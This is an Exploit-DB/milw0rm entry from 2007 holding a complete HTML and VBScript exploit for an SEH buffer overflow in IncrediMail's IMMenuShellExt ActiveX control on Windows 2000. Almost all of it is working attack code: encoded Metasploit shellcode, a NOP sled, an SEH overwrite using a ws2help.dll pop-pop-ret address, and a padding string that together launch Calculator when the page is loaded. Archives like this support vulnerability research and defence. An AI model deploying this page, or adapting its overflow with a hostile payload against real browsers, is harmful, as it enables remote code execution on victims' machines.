Exploit-DB #3877
Description: IncrediMail IMMenuShellExt - ActiveX Control Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-08
Author: Umesh Wanve

Exploit:
<!--

  ===============================================================================================
                        IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 08-05-2007
 
  Reference: https://www.securityfocus.com/bid/23674

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
  Opens Calculator on the Vulnerable machine.
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->


<html>

<title>
 IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:F8984111-38B6-11D5-8725-0050DA2761C4" > </OBJECT>

<script language="vbscript">

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")   

                                

targetFile = "C:\PROGRA~1\INCRED~1\bin\ImShExt.dll"
prototype  = "Sub DoWebMenuAction ( ByVal bsPath As String )"
memberName = "DoWebMenuAction"
progid     = "INCREDISHELLEXTLib.IMMenuShellExt"
argCount   = 1

arg1=String(2483, "A")



arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

target.DoWebMenuAction arg1 

</script>
</body>
</html>

# milw0rm.com [2007-05-08]